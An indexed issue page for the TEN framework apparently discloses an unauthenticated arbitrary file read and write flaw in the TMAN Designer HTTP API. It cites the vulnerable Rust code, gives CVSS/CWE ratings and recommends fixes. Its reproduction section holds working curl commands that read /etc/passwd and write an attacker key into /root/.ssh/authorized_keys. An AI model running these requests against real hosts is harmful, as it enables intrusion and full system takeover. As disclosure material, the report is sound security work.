TEN-framework / TEN-framework/ten-framework
Unauthenticated arbitrary file read and write (to RCE) via the TMAN Designer file-content API
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 11.1k
- Forks
- 1.4k
- Avg merge
- 2d 15m
- Merged PRs (30d)
- 22
Description
Description
The TEN Manager "TMAN Designer" backend (the HTTP server behind tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds 0.0.0.0:49483 by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write ~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the real tman designer binary over HTTP: /etc/passwd was read and a file was written outside any intended directory, with no credentials.
core/src/ten_manager/src/designer/file_content/mod.rs:
// read sink (~line 31)
let file_path = request_payload.file_path.clone();
fs::read_to_string(&file_path) // raw client path, no confinement
// write sink (~lines 68-92)
fs::create_dir_all(parent);
fs::write(file_path, content) // raw client path + content
Routes (core/src/ten_manager/src/designer/mod.rs ~lines 156 to 158): POST /api/designer/v1/file-content (read) and PUT /api/designer/v1/file-content (write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is 0.0.0.0 (cmd/cmd_designer.rs ~line 37), port 49483 (constants/mod.rs ~line 48), with Cors::default().allow_any_origin() (cmd_designer.rs ~line 136). This is the documented tman designer surface and is published in the project's docker-compose.
Environment
Steps to reproduce
# write (-> RCE: target an importable/served/authorized_keys path)
curl -X PUT http://TARGET:49483/api/designer/v1/file-content \
-H 'Content-Type: application/json' \
-d '{"file_path":"/root/.ssh/authorized_keys","content":"<attacker key>"}'
# read
curl -X POST http://TARGET:49483/api/designer/v1/file-content \
-H 'Content-Type: application/json' -d '{"file_path":"/etc/passwd"}'
Validated against the tman designer binary (listening 49483): PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"} returned {"status":"ok"} and wrote the file (and a new directory via create_dir_all); POST {"file_path":"/etc/passwd"} returned {"status":"ok","data":{"content":"root:x:0:0:..."}} (full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so the std::fs read/write executed as real code.)
Expected behavior
Confine file_path to the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and ..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind 0.0.0.0 with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.
Severity
Critical
Additional Information
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with core/src/ten_manager/src/designer/file_content/mod.rs and the POST/PUT routes in core/src/ten_manager/src/designer/mod.rs. Review the bind and CORS setup in cmd/cmd_designer.rs plus the port in constants/mod.rs, then reproduce the file-content requests against tman designer. Done means both endpoints enforce the intended workspace and authentication boundaries, unsafe default exposure is addressed, and traversal or arbitrary file read/write attempts are rejected.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- rust
- Domain
- authentication, backend, security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 35/100